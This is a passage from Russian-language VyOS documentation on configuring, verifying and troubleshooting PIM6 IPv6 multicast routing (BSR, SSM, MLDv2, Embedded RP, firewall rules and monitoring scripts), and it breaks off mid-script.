set protocols pim6 rp candidate-rp priority 50
set protocols pim6 rp candidate-rp interval 30

commit
save
```

**Candidate-RP для конкретных групп**:
```
set protocols pim6 rp candidate-rp address <ipv6-address> group <prefix>
```

**Пример**:
```
set protocols pim6 rp candidate-rp address 2001:db8:100::1 group ff3e::/32

commit
save
```

### Проверка BSR

**Информация о BSR**:
```
show ipv6 pim bsr
```

Вывод:
```
PIM6 Bootstrap Information
Current BSR Address: 2001:db8:100::1
Priority: 100
Hash Mask Length: 126
Expires: 00:01:45

Candidate BSR Address: 2001:db8:100::1
  Priority: 100
  Hash Mask Length: 126
```

**RP-Set от BSR**:
```
show ipv6 pim rp-info
```

Вывод:
```
RP address       Group          Source          State      Priority  Holdtime
2001:db8:100::1  ff3e::/32      BSR             Active     50        150
2001:db8:100::2  ff05::/16      BSR             Active     100       150
```

## SSM (Source-Specific Multicast) для IPv6

### Обзор SSM для IPv6

SSM для IPv6 использует диапазон ff3x::/32.

**Формат адреса**:
```
ff3S::/32
```

Где **S** - scope:
- **ff3e::/32** - Global SSM
- **ff35::/32** - Site-local SSM
- **ff38::/32** - Organization-local SSM

**Преимущества SSM**:
- Не требует RP
- Прямые (S,G) деревья
- Улучшенная безопасность
- Меньше state на роутерах
- Предсказуемые пути трафика

### Конфигурация SSM

**Автоматическое определение SSM**:
VyOS автоматически использует SSM для ff3x::/32.

**Явная конфигурация SSM диапазона**:
```
set protocols pim6 ssm-range <prefix>
```

**Пример**:
```
set protocols pim6 ssm-range ff3e::/32

commit
save
```

**Проверка SSM**:
```
show ipv6 pim state
```

Вывод покажет (S,G) entries без (*,G) для SSM групп:
```
Source           Group            IIF      OIL
2001:db8:100::10 ff3e::1234       eth0     eth1, eth2
```

### MLDv2 для SSM

SSM требует MLDv2 для source filtering.

**Включение MLDv2**:
```
set protocols pim6 interface eth1 mld version 2

commit
save
```

**Проверка**:
```
show ipv6 mld interface
```

Вывод:
```
Interface  State  Address            Version  Querier         Query Timer  Uptime
eth1       up     fe80::2            2        fe80::2         00:00:58     00:20:34
```

## Расширенная конфигурация

### DR Priority

**Настройка приоритета Designated Router**:
```
set protocols pim6 interface <interface> dr-priority <priority>
```

**Параметры**:
- **priority**: 0-4294967295 (по умолчанию 1, выше = лучше)

**Применение**:
- Выбор DR на multi-access сети
- DR регистрирует источники и отправляет Join

**Пример**:
```
set protocols pim6 interface eth0 dr-priority 100

commit
save
```

**Проверка DR**:
```
show ipv6 pim interface eth0
```

Вывод:
```
Interface  State  Address            PIM Nbrs  PIM DR          DR Priority
eth0       up     2001:db8:12::1/64  1         2001:db8:12::1  100
```

### Hello Interval

**Настройка интервала Hello**:
```
set protocols pim6 interface <interface> hello <interval>
```

**Параметры**:
- **interval**: 1-65535 секунд (по умолчанию 30)

**Применение**:
- Частота отправки PIM Hello
- Влияет на обнаружение соседей

**Пример**:
```
set protocols pim6 interface eth0 hello 15

commit
save
```

### Join/Prune Interval

**Настройка интервала Join/Prune**:
```
set protocols pim6 join-prune-interval <seconds>
```

**Параметры**:
- **seconds**: 60-600 (по умолчанию 60)

**Применение**:
- Частота отправки Join/Prune сообщений
- Refresh для существующих (S,G) и (*,G)

**Пример**:
```
set protocols pim6 join-prune-interval 90

commit
save
```

### Register Suppression Time

**Настройка времени подавления Register**:
```
set protocols pim6 register-suppress-time <seconds>
```

**Параметры**:
- **seconds**: 5-60000 (по умолчанию 60)

**Применение**:
- Время подавления Register после Register-Stop
- DR источника прекращает инкапсуляцию в Register

**Пример**:
```
set protocols pim6 register-suppress-time 120

commit
save
```

### Multicast Routing Table

**SPT Switchover (iif)**:
VyOS автоматически переключается на SPT при получении трафика.

**Infinity для SPT Threshold**:
Отключить переключение на SPT (оставаться на shared tree):
```
set protocols pim6 spt-switchover infinity-and-beyond
```

**Применение**:
- Все трафик идет через RP
- Упрощенная топология
- Может увеличить задержку

**Пример**:
```
set protocols pim6 spt-switchover infinity-and-beyond

commit
save
```

### Packet Parameters

**DSCP для PIM пакетов**:
```
set protocols pim6 packet dscp <value>
```

**Параметры**:
- **value**: 0-63

**Пример**:
```
set protocols pim6 packet dscp 46

commit
save
```

## Примеры конфигурации

### Пример 1: IPv6 Multicast в Yandex Cloud

**Сценарий**:
- VyOS роутер в Yandex Cloud как PIM6 RP
- Видео сервер в подсети 2001:db8:100::/64
- Три офиса получают IPv6 multicast видео
- Использование PIM6-SM с статическим RP
- SSM для критичных потоков

**Топология**:
```
[Video Server] --- eth1 --- [VyOS RP] --- eth0 --- [Internet/VPC]
  2001:db8:100::10                |
  ff3e::1234 (SSM)                |--- eth2 --- [Office 1]
  ff05::5678 (SM)                 |               2001:db8:1::/64
                                  |--- eth3 --- [Office 2]
                                  |               2001:db8:2::/64
                                  |--- eth4 --- [Office 3]
                                                  2001:db8:3::/64
```

**VyOS RP конфигурация**:
```
# Интерфейсы
set interfaces ethernet eth0 address 2001:db8:10::1/64
set interfaces ethernet eth0 description 'WAN - VPC Interconnect'

set interfaces ethernet eth1 address 2001:db8:100::1/64
set interfaces ethernet eth1 description 'DMZ - Video Servers'

set interfaces ethernet eth2 address 2001:db8:1::1/64
set interfaces ethernet eth2 description 'Office 1'

set interfaces ethernet eth3 address 2001:db8:2::1/64
set interfaces ethernet eth3 description 'Office 2'

set interfaces ethernet eth4 address 2001:db8:3::1/64
set interfaces ethernet eth4 description 'Office 3'

# Loopback для RP
set interfaces loopback lo address 2001:db8:999::1/128

# PIM6 на всех интерфейсах
set protocols pim6 interface eth0
set protocols pim6 interface eth1
set protocols pim6 interface eth2
set protocols pim6 interface eth3
set protocols pim6 interface eth4

# MLD параметры для клиентских интерфейсов
set protocols pim6 interface eth2 mld version 2
set protocols pim6 interface eth2 mld interval 60

set protocols pim6 interface eth3 mld version 2
set protocols pim6 interface eth3 mld interval 60

set protocols pim6 interface eth4 mld version 2
set protocols pim6 interface eth4 mld interval 60

# Отключаем MLD на WAN
set protocols pim6 interface eth0 mld disable

# RP конфигурация
set protocols pim6 rp address 2001:db8:999::1

# SSM диапазон (автоматически для ff3x::/32)
set protocols pim6 ssm-range ff3e::/32

# DR Priority на server сегменте
set protocols pim6 interface eth1 dr-priority 100

# Firewall для IPv6 multicast
set firewall ipv6 input filter rule 100 action accept
set firewall ipv6 input filter rule 100 description 'Allow PIM6'
set firewall ipv6 input filter rule 100 protocol pim

set firewall ipv6 input filter rule 110 action accept
set firewall ipv6 input filter rule 110 description 'Allow MLD'
set firewall ipv6 input filter rule 110 protocol ipv6-icmp
set firewall ipv6 input filter rule 110 icmpv6 type 130-132

set firewall ipv6 input filter rule 120 action accept
set firewall ipv6 input filter rule 120 description 'Allow multicast traffic'
set firewall ipv6 input filter rule 120 destination address ff00::/8

# IPv6 Routing (OSPFv3 или BGP для unicast)
set protocols ospfv3 area 0 interface eth0
set protocols ospfv3 area 0 interface eth1
set protocols ospfv3 area 0 interface eth2
set protocols ospfv3 area 0 interface eth3
set protocols ospfv3 area 0 interface eth4
set protocols ospfv3 parameters router-id 10.0.0.1

commit
save
```

**Office роутеры** (пример для Office 1):
```
# Интерфейсы
set interfaces ethernet eth0 address 2001:db8:1::254/64
set interfaces ethernet eth0 description 'To RP'

set interfaces ethernet eth1 address 2001:db8:10::100/64
set interfaces ethernet eth1 description 'Clients'

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1

# MLD на клиентском интерфейсе
set protocols pim6 interface eth1 mld version 2
set protocols pim6 interface eth1 mld interval 60

# RP (тот же, что на main роутере)
set protocols pim6 rp address 2001:db8:999::1

# SSM
set protocols pim6 ssm-range ff3e::/32

# OSPFv3 для unicast
set protocols ospfv3 area 0 interface eth0
set protocols ospfv3 area 0 interface eth1
set protocols ospfv3 parameters router-id 10.0.0.2

commit
save
```

**Проверка**:
```
# На RP
show ipv6 pim interface
show ipv6 pim neighbor
show ipv6 pim rp-info
show ipv6 pim state

# На Office роутере
show ipv6 mld groups
show ipv6 pim join

# Мониторинг трафика
tcpdump -i eth1 -n 'ip6 and dst net ff00::/8'
```

### Пример 2: PIM6-SSM для IPv6-only сети (VK Cloud)

**Сценарий**:
- IPv6-only сеть в VK Cloud
- Используется только SSM (ff3e::/32)
- Нет необходимости в RP
- Видео конференции между офисами
- Источники в 2001:db8:100::/64

**Топология**:
```
[HQ Router] --- eth0 (2001:db8:10::1/64) --- [VK Cloud VPC]
     |                                              |
     eth1 (2001:db8:100::1/64)                     |
     |                                              |
[Video Server 2001:db8:100::10]            [Branch Router]
                                                    |
                                                    eth1 (2001:db8:200::1/64)
                                                    |
                                                [Users]
```

**HQ Router**:
```
# Интерфейсы
set interfaces ethernet eth0 address 2001:db8:10::1/64
set interfaces ethernet eth0 description 'VPC Interconnect'

set interfaces ethernet eth1 address 2001:db8:100::1/64
set interfaces ethernet eth1 description 'Video Servers'

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1

# Отключаем MLD на server интерфейсе
set protocols pim6 interface eth1 mld disable

# SSM only (no RP needed)
set protocols pim6 ssm-range ff3e::/32

# DR Priority
set protocols pim6 interface eth1 dr-priority 100

# Firewall
set firewall ipv6 input filter rule 100 action accept
set firewall ipv6 input filter rule 100 protocol pim

set firewall ipv6 input filter rule 110 action accept
set firewall ipv6 input filter rule 110 destination address ff3e::/32

# BGP для unicast routing
set protocols bgp system-as 65001
set protocols bgp neighbor 2001:db8:10::254 address-family ipv6-unicast
set protocols bgp neighbor 2001:db8:10::254 remote-as 65000

commit
save
```

**Branch Router**:
```
# Интерфейсы
set interfaces ethernet eth0 address 2001:db8:10::100/64
set interfaces ethernet eth0 description 'VPC Interconnect'

set interfaces ethernet eth1 address 2001:db8:200::1/64
set interfaces ethernet eth1 description 'Users'

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1

# MLDv2 для клиентов (обязательно для SSM)
set protocols pim6 interface eth1 mld version 2
set protocols pim6 interface eth1 mld interval 60

# SSM only
set protocols pim6 ssm-range ff3e::/32

# Firewall
set firewall ipv6 input filter rule 100 action accept
set firewall ipv6 input filter rule 100 protocol pim

set firewall ipv6 input filter rule 110 action accept
set firewall ipv6 input filter rule 110 destination address ff3e::/32

# BGP
set protocols bgp system-as 65001
set protocols bgp neighbor 2001:db8:10::254 address-family ipv6-unicast
set protocols bgp neighbor 2001:db8:10::254 remote-as 65000

commit
save
```

**Клиент подписка (Linux)**:
```bash
# SSM join: группа ff3e::1234, источник 2001:db8:100::10
smcroute -j eth0 2001:db8:100::10 ff3e::1234

# Или с помощью socat
socat UDP6-RECV:5000,ipv6-join-source-group='[ff3e::1234]:[2001:db8:100::10]:eth0' STDOUT
```

**Проверка**:
```
show ipv6 pim state
show ipv6 mld groups
```

### Пример 3: Embedded RP

**Сценарий**:
- Использование Embedded RP для упрощения конфигурации
- RP адрес: 2001:db8:999::1/64
- Группы: ff75:0040:2001:0db8:0999:0000::/96

**RP Router**:
```
# Интерфейсы
set interfaces loopback lo address 2001:db8:999::1/128

set interfaces ethernet eth0 address 2001:db8:10::1/64
set interfaces ethernet eth1 address 2001:db8:20::1/64

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1

# Embedded RP (автоматически для ff7x::/16)
# Никакой дополнительной конфигурации не требуется

commit
save
```

**Client Router**:
```
# Интерфейсы
set interfaces ethernet eth0 address 2001:db8:10::2/64
set interfaces ethernet eth1 address 2001:db8:100::1/64

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1

# Embedded RP - автоматически извлекается из адреса группы
# Никакой ручной конфигурации RP не требуется

commit
save
```

**Использование Embedded RP группы**:
Приложение использует группу вида:
```
ff75:0040:2001:0db8:0999:0000:0000:1234
```

Разбор:
- `ff75` - flags=7 (transient), scope=5 (site-local)
- `0040` - Riid=0, Plen=64
- `2001:0db8:0999:0000` - RP prefix (2001:db8:999::/64)
- `0000:1234` - Group ID

**Проверка**:
```
show ipv6 pim rp-info
```

Вывод:
```
RP address       Group                                  Source          State
2001:db8:999::1  ff75:40:2001:db8:999::/96              Embedded        Active
```

### Пример 4: BSR для динамического RP

**Сценарий**:
- Два Candidate-RP для redundancy
- Один BSR
- Автоматическое распространение RP информации

**BSR и Primary RP (Router1)**:
```
# Интерфейсы
set interfaces loopback lo address 2001:db8:100::1/128

set interfaces ethernet eth0 address 2001:db8:10::1/64
set interfaces ethernet eth1 address 2001:db8:20::1/64

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1

# BSR конфигурация
set protocols pim6 rp candidate-bsr address 2001:db8:100::1
set protocols pim6 rp candidate-bsr priority 100

# Candidate-RP конфигурация
set protocols pim6 rp candidate-rp address 2001:db8:100::1
set protocols pim6 rp candidate-rp priority 50
set protocols pim6 rp candidate-rp interval 30

commit
save
```

**Secondary RP (Router2)**:
```
# Интерфейсы
set interfaces loopback lo address 2001:db8:100::2/128

set interfaces ethernet eth0 address 2001:db8:10::2/64
set interfaces ethernet eth1 address 2001:db8:30::1/64

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1

# Backup BSR (lower priority)
set protocols pim6 rp candidate-bsr address 2001:db8:100::2
set protocols pim6 rp candidate-bsr priority 50

# Candidate-RP (lower priority)
set protocols pim6 rp candidate-rp address 2001:db8:100::2
set protocols pim6 rp candidate-rp priority 100
set protocols pim6 rp candidate-rp interval 30

commit
save
```

**Client Routers**:
```
# PIM6 на интерфейсах
set protocols pim6 interface eth0
set protocols pim6 interface eth1

# Нет статической конфигурации RP!
# RP информация получается через BSR

commit
save
```

**Проверка**:
```
show ipv6 pim bsr
show ipv6 pim rp-info
```

## Операционные команды

### Show Commands

**PIM6 интерфейсы**:
```
show ipv6 pim interface
```

Вывод:
```
Interface  State  Address            PIM Nbrs  PIM DR          DR Priority
eth0       up     2001:db8:10::1/64  2         2001:db8:10::1  100
eth1       up     2001:db8:20::1/64  0         local           1
```

**Детали интерфейса**:
```
show ipv6 pim interface eth0
```

Вывод:
```
Interface eth0:
  State: up
  Address: 2001:db8:10::1/64
  PIM Neighbors: 2
  PIM DR: 2001:db8:10::1
  DR Priority: 100
  Hello Interval: 30s
  Generation ID: 0x12345678
```

**PIM6 соседи**:
```
show ipv6 pim neighbor
```

Вывод:
```
Interface  Neighbor          Uptime     Holdtime  DR Priority  Generation ID
eth0       2001:db8:10::2    01:23:45   105       50           0xabcdef12
eth0       2001:db8:10::3    00:45:12   105       1            0x98765432
```

**Детали соседа**:
```
show ipv6 pim neighbor detail
```

**RP информация**:
```
show ipv6 pim rp-info
```

Вывод:
```
RP address       Group          Source          State      Priority  Holdtime
2001:db8:100::1  ff00::/8       Static          Active     -         -
2001:db8:100::1  ff3e::/32      BSR             Active     50        150
2001:db8:999::1  ff75::/16      Embedded        Active     -         -
```

**PIM6 state (multicast routes)**:
```
show ipv6 pim state
```

Вывод:
```
Installed Source           Group            IIF      OIL
1         2001:db8:100::10 ff3e::1234       eth0     eth1, eth2
1         *                ff05::5678       eth0     eth1
```

**Детали для группы**:
```
show ipv6 pim state ff3e::1234
```

**Join информация**:
```
show ipv6 pim join
```

Вывод:
```
Interface  Source           Group            State      Uptime     Expire   Prune
eth1       2001:db8:100::10 ff3e::1234       JOIN       00:15:23   00:00:45 -
eth0       *                ff05::5678       JOIN       00:10:12   00:00:38 -
```

**BSR информация**:
```
show ipv6 pim bsr
```

Вывод:
```
PIM6 Bootstrap Information
Current BSR Address: 2001:db8:100::1
Priority: 100
Hash Mask Length: 126
Expires: 00:01:45

Candidate BSR Address: 2001:db8:100::1
  Priority: 100
  Hash Mask Length: 126
```

**MLD groups**:
```
show ipv6 mld groups
```

Вывод:
```
Interface        Address                    Group                   Uptime    Expires
eth1             2001:db8:3::1              ff3e::1234              00:05:23  00:04:12
eth1             2001:db8:3::1              ff05::5678              00:03:45  00:04:18
```

**MLD интерфейсы**:
```
show ipv6 mld interface
```

Вывод:
```
Interface  State  Address            Version  Querier         Query Timer  Uptime
eth0       up     fe80::1            2        fe80::1         00:01:15     00:20:34
eth1       up     fe80::2            2        fe80::2         00:00:58     00:20:34
```

**Детали MLD интерфейса**:
```
show ipv6 mld interface eth1
```

Вывод:
```
Interface eth1:
  State: up
  Link-local Address: fe80::2
  Version: 2
  Querier: fe80::2 (local)
  Query Interval: 125s
  Query Timer: 00:00:58
  Other Querier Present Timer: 00:00:00
  Startup Query Interval: 31s
  Startup Query Count: 2
  Last Member Query Interval: 1000ms
  Last Member Query Count: 2
  Uptime: 00:20:34
```

**MLD sources**:
```
show ipv6 mld sources
```

Вывод (для MLDv2 SSM):
```
Interface  Group           Source           Timer    Flags
eth1       ff3e::1234      2001:db8:100::10 00:04:15 I
```

**IPv6 Multicast Routing Table**:
```
show ipv6 mroute
```

Вывод:
```
Source           Group            Proto  Input      Output     Packets  Bytes
2001:db8:100::10 ff3e::1234       PIM6   eth0       eth1       15234    45678901
                                                     eth2       12456    37890123
*                ff05::5678       PIM6   eth0       eth1       5678     12345678
```

### Management Commands

**Restart PIM6**:
```
restart pim6
```

**Clear PIM6 interfaces**:
```
clear ipv6 pim interfaces
```

**Clear PIM6 oil (Outgoing Interface List)**:
```
clear ipv6 pim oil
```

## Troubleshooting

### Соседи не устанавливаются

**Проблема**: PIM6 соседи не видны.

**Проверка**:

1. **PIM6 включен на интерфейсах**:
   ```
   show ipv6 pim interface
   ```

2. **IPv6 connectivity**:
   ```
   ping6 2001:db8:10::2
   ```

3. **PIM Hello на wire**:
   ```
   tcpdump -i eth0 -vv ip6 proto 103
   ```

   Должны видеть PIM Hello на ff02::d.

4. **Firewall блокирует PIM**:
   ```
   set firewall ipv6 input filter rule 100 action accept
   set firewall ipv6 input filter rule 100 protocol pim
   commit
   ```

5. **Разные Hello intervals**:
   Убедитесь что Hello interval совпадает на обоих концах.

6. **MTU проблемы**:
   ```
   show interfaces ethernet eth0
   ```

   Проверьте что MTU достаточный для IPv6 PIM пакетов.

### RP не резолвится

**Проблема**: RP информация отсутствует.

**Проверка**:

1. **Статический RP настроен**:
   ```
   show ipv6 pim rp-info
   ```

   Должен показывать RP адрес.

2. **RP одинаковый на всех роутерах**:
   Проверьте конфигурацию на всех PIM6 роутерах:
   ```
   show protocols pim6 rp
   ```

3. **BSR работает**:
   ```
   show ipv6 pim bsr
   ```

   Должен показывать текущий BSR.

4. **C-RP Advertisement доходит до BSR**:
   ```
   tcpdump -i eth0 -vv 'ip6 proto 103 and dst ff02::d'
   ```

5. **Embedded RP формат правильный**:
   Проверьте что группа в формате ff7x::/16 и содержит валидный RP prefix.

### Трафик не доходит до получателей

**Проблема**: Клиенты подписаны, но multicast трафик не получают.

**Проверка**:

1. **MLD группы активны**:
   ```
   show ipv6 mld groups
   ```

2. **PIM Join отправлен**:
   ```
   show ipv6 pim join
   ```

   Должны видеть (*,G) или (S,G) Join.

3. **Multicast routing table**:
   ```
   show ipv6 mroute
   ```

   Должна быть запись для группы.

4. **PIM state**:
   ```
   show ipv6 pim state
   ```

   Проверьте IIF и OIL.

5. **Трафик на входном интерфейсе**:
   ```
   tcpdump -i eth0 -n 'ip6 and dst ff3e::1234'
   ```

6. **RPF check проходит**:
   ```
   show ipv6 route 2001:db8:100::10
   ```

   Unicast route к источнику должен указывать на IIF для multicast.

7. **Firewall разрешает multicast**:
   ```
   set firewall ipv6 input filter rule 120 action accept
   set firewall ipv6 input filter rule 120 destination address ff00::/8
   commit
   ```

### SSM не работает

**Проблема**: SSM группы не получают трафик.

**Проверка**:

1. **Группа в SSM диапазоне**:
   Должна быть ff3x::/32 (например ff3e::1234).

2. **MLDv2 включен**:
   ```
   show ipv6 mld interface
   ```

   Version должна быть 2.

   Если нет:
   ```
   set protocols pim6 interface eth1 mld version 2
   commit
   ```

3. **Клиент использует source-specific join**:
   На Linux:
   ```bash
   smcroute -j eth0 2001:db8:100::10 ff3e::1234
   ```

4. **(S,G) state существует**:
   ```
   show ipv6 pim state ff3e::1234
   ```

   Должна быть (S,G) запись, не (*,G).

5. **RP не настроен для SSM**:
   SSM не требует RP. Если есть RP конфигурация для ff3x::/32, удалите:
   ```
   delete protocols pim6 rp address <ipv6> group ff3e::/32
   commit
   ```

### Register пакеты не доходят до RP

**Проблема**: Источник активен, но RP не получает Register.

**Проверка**:

1. **DR определен правильно**:
   ```
   show ipv6 pim interface eth1
   ```

   PIM DR должен быть роутер, подключенный к источнику.

2. **RP адрес правильный**:
   ```
   show ipv6 pim rp-info
   ```

3. **Unicast route к RP**:
   ```
   show ipv6 route 2001:db8:100::1
   ```

   Должен быть маршрут к RP.

4. **Register на wire**:
   ```
   tcpdump -i eth0 -vv 'ip6 proto 103 and dst 2001:db8:100::1'
   ```

   Должны видеть Register пакеты.

5. **Firewall на RP**:
   ```
   set firewall ipv6 input filter rule 100 action accept
   set firewall ipv6 input filter rule 100 protocol pim
   set firewall ipv6 input filter rule 100 source address 2001:db8::/16
   commit
   ```

### High CPU от PIM6

**Проблема**: Высокая загрузка CPU на роутере.

**Причины и решения**:

1. **Слишком много (S,G) entries**:
   ```
   show ipv6 pim state | wc -l
   ```

   Рассмотрите переход на SSM или увеличение ресурсов.

2. **Частые Join/Prune**:
   Увеличьте Join/Prune interval:
   ```
   set protocols pim6 join-prune-interval 120
   commit
   ```

3. **Слишком частые Hello**:
   Увеличьте Hello interval:
   ```
   set protocols pim6 interface eth0 hello 60
   commit
   ```

4. **Много MLD Query**:
   Увеличьте MLD interval:
   ```
   set protocols pim6 interface eth1 mld interval 125
   commit
   ```

5. **Multicast трафик обрабатывается CPU**:
   Проверьте hardware offloading:
   ```
   ethtool -k eth0 | grep offload
   ```

## Мониторинг и логирование

### Continuous Monitoring

**Мониторинг PIM6 neighbors**:
```
watch -n 5 'show ipv6 pim neighbor'
```

**Мониторинг multicast routes**:
```
watch -n 10 'show ipv6 mroute'
```

**Мониторинг MLD groups**:
```
watch -n 5 'show ipv6 mld groups'
```

**Packet capture для PIM6**:
```
tcpdump -i eth0 -vv ip6 proto 103
```

**Packet capture для MLD**:
```
tcpdump -i eth1 -vv 'icmp6 and (ip6[40] == 130 or ip6[40] == 131 or ip6[40] == 132 or ip6[40] == 143)'
```

**Packet capture для multicast трафика**:
```
tcpdump -i eth1 -n 'ip6 and dst net ff00::/8'
```

**Конкретная группа**:
```
tcpdump -i eth1 -n 'ip6 and dst ff3e::1234'
```

### Логирование

**Системные логи**:
```
show log tail 100 | match pim6
```

**Syslog для протоколов**:
```
set system syslog global facility protocols level info
commit
```

**External syslog**:
```
set system syslog host 2001:db8:100::100 facility protocols level info
set system syslog host 2001:db8:100::100 port 514
commit
```

**Debug logging** (для troubleshooting):
```
set system syslog global facility protocols level debug
commit
```

**Осторожно**: Debug может генерировать много логов.

После troubleshooting вернуть:
```
set system syslog global facility protocols level info
commit
```

## Лучшие практики

### Дизайн сети

1. **RP размещение**:
   - RP в центре сети для минимизации задержки
   - Используйте loopback для RP адреса (стабильность)
   - Рассмотрите redundancy с BSR + несколько C-RP

2. **SSM vs SM**:
   - Используйте SSM (ff3x::/32) где возможно
   - SM только для Any-Source Multicast
   - SSM не требует RP и более эффективен

3. **Embedded RP vs Static RP**:
   - Embedded RP для упрощения конфигурации
   - Static RP для полного контроля
   - BSR для динамического RP в крупных сетях

4. **Scope selection**:
   - ff02::/16 - Link-local (только один hop)
   - ff05::/16 - Site-local (в пределах site)
   - ff08::/16 - Organization-local (вся организация)
   - ff0e::/16 - Global (весь Internet)

### Конфигурация

1. **DR Priority**:
   - Устанавливайте высокий DR priority на роутере ближайшем к источнику
   - Контролирует кто отправляет Register на RP

2. **Hello Interval**:
   - По умолчанию 30 секунд подходит для большинства сетей
   - Уменьшайте для быстрой сходимости (нагрузка на CPU)
   - Увеличивайте для стабильных сетей с медленными links

3. **MLD Version**:
   - Используйте MLDv2 для SSM support
   - MLDv1 только для legacy devices

4. **PIM6 на всех интерфейсах**:
   - Включайте PIM6 на всех интерфейсах, участвующих в multicast
   - Отключайте MLD на transit/upstream интерфейсах

### Безопасность

1. **Firewall для PIM6**:
   ```
   set firewall ipv6 input filter rule 100 action accept
   set firewall ipv6 input filter rule 100 protocol pim
   set firewall ipv6 input filter rule 100 source address 2001:db8::/16
   ```

2. **Ограничение multicast групп**:
   ```
   set firewall ipv6 input filter rule 120 action accept
   set firewall ipv6 input filter rule 120 destination address ff3e::/32
   set firewall ipv6 input filter rule 120 description 'Allow only company SSM'
   ```

3. **Rate limiting для MLD**:
   ```
   set firewall ipv6 input filter rule 110 action accept
   set firewall ipv6 input filter rule 110 protocol ipv6-icmp
   set firewall ipv6 input filter rule 110 icmpv6 type 130-132
   set firewall ipv6 input filter rule 110 limit rate 10/second
   ```

4. **Drop неизвестный multicast**:
   ```
   set firewall ipv6 input filter rule 999 action drop
   set firewall ipv6 input filter rule 999 destination address ff00::/8
   set firewall ipv6 input filter rule 999 description 'Drop unknown multicast'
   ```

### Производительность

1. **SPT Switchover**:
   - По умолчанию VyOS переключается на SPT сразу
   - Для load на RP можно оставить на shared tree:
   ```
   set protocols pim6 spt-switchover infinity-and-beyond
   ```

2. **Register Suppression**:
   - Увеличьте для снижения нагрузки на DR:
   ```
   set protocols pim6 register-suppress-time 120
   ```

3. **Hardware Offloading**:
   - Включайте где доступно для multicast forwarding
   - Проверка:
   ```
   ethtool -k eth0 | grep offload
   ```

4. **Мониторинг ресурсов**:
   ```
   show system resources
   show ipv6 pim state | wc -l
   ```

## Интеграция с другими протоколами

### PIM6 + OSPFv3

**Сценарий**: OSPFv3 для unicast, PIM6 для multicast.

```
# OSPFv3
set protocols ospfv3 area 0 interface eth0
set protocols ospfv3 area 0 interface eth1
set protocols ospfv3 parameters router-id 10.0.0.1

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1
set protocols pim6 rp address 2001:db8:100::1

commit
```

**Важно**: PIM6 использует OSPFv3 unicast routes для RPF check.

### PIM6 + BGP

**Сценарий**: BGP для IPv6 unicast, PIM6 для multicast.

```
# BGP
set protocols bgp system-as 65001
set protocols bgp neighbor 2001:db8:10::254 address-family ipv6-unicast
set protocols bgp neighbor 2001:db8:10::254 remote-as 65000

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1
set protocols pim6 rp address 2001:db8:100::1

commit
```

**Важно**: BGP routes используются для RPF check в PIM6.

### PIM6 + VPN (IPsec/WireGuard)

**Сценарий**: Multicast через VPN туннель.

**IPsec с VTI**:
```
# VTI интерфейс
set interfaces vti vti0 address 2001:db8:999::1/64

# PIM6 на VTI
set protocols pim6 interface vti0

# RP
set protocols pim6 rp address 2001:db8:100::1

commit
```

**WireGuard**:
```
# WireGuard интерфейс
set interfaces wireguard wg0 address 2001:db8:888::1/64

# PIM6 на WireGuard
set protocols pim6 interface wg0

commit
```

**Важно**: Multicast через VPN может иметь performance impact.

### PIM6 + IPv4 (Dual Stack)

**Сценарий**: Одновременно PIM для IPv4 и PIM6 для IPv6.

```
# PIM для IPv4
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim rp address 10.0.0.1

# PIM6 для IPv6
set protocols pim6 interface eth0
set protocols pim6 interface eth1
set protocols pim6 rp address 2001:db8:100::1

commit
```

**Применение**:
- Dual-stack multicast
- Миграция с IPv4 на IPv6
- Legacy applications (IPv4) + новые (IPv6)

## Сравнение PIM6 с другими решениями

### PIM6 vs IGMP Proxy для IPv6

| Характеристика | PIM6 | IGMP/MLD Proxy |
|---------------|------|----------------|
| Сложность | Высокая | Низкая |
| Топология | Любая | Простая (дерево) |
| Масштабируемость | Высокая | Ограниченная |
| RP требуется | Да (SM) | Нет |
| Redundancy | Полная | Ограниченная |
| Применение | Core/Data center | Edge/Branch |

**Когда использовать PIM6**:
- Сложная топология
- Множество источников
- Data center multicast
- Требуется redundancy

**Когда использовать MLD Proxy**:
- Простая топология (один источник)
- Branch office
- IPTV от провайдера
- Ограниченные ресурсы

### PIM6-SM vs PIM6-SSM

| Характеристика | PIM6-SM | PIM6-SSM |
|---------------|---------|----------|
| RP требуется | Да | Нет |
| Группы | ff00::/8 (кроме ff3x::/32) | ff3x::/32 |
| (*,G) tree | Да | Нет |
| (S,G) tree | Да | Да |
| Сложность | Высокая | Низкая |
| Безопасность | Средняя | Высокая |
| MLD Version | MLDv1/v2 | MLDv2 |

**Когда использовать PIM6-SM**:
- Any-Source Multicast
- Множество динамических источников
- Legacy applications

**Когда использовать PIM6-SSM**:
- Известные источники
- Видео distribution
- IPTV, streaming
- Улучшенная безопасность

## Автоматизация и скрипты

### Мониторинг скрипт

**Bash скрипт для проверки PIM6 neighbors**:
```bash
#!/bin/bash

# pim6-monitor.sh
# Мониторинг PIM6 соседей

LOG_FILE="/var/log/pim6-monitor.log"
EXPECTED_NEIGHBORS=2

check_neighbors() {
    local neighbor_count=$(vtysh -c "show ipv6 pim neighbor" | grep -c "eth0")

    if [ "$neighbor_count" -lt "$EXPECTED_NEIGHBORS" ]; then
        echo "$(date): WARNING - Only $neighbor_count neighbors, expected $EXPECTED_NEIGHBORS" >> "$LOG_FILE"
        return 1
    else
        echo "$(date): OK - $neighbor_count neighbors present" >> "$LOG_FILE"
        return 0
    fi
}

check_neighbors

vtysh -c "show ipv6 pim neighbor"
vtysh -c "show ipv6 pim interface"
```

**Установка в cron**:
```bash
*/5 * * * * /usr/local/bin/pim6-monitor.sh
```

### RP failover скрипт

**Скрипт для проверки RP доступности**:
```bash
#!/bin/bash

# rp-watchdog.sh
# Проверка RP и переключение на backup

PRIMARY_RP="2001:db8:100::1"
BACKUP_RP="2001:db8:100::2"
LOG_FILE="/var/log/rp-watchdog.log"

check_rp() {
    if ping6 -c 3 -W 2 "$PRIMARY_RP" > /dev/null 2>&1; then
        return 0
    else
        return 1
    fi
}

if ! check_rp; then
    echo "$(date): Primary RP $PRIMARY_RP unreachable, switching to backup" >> "$LOG_FILE"

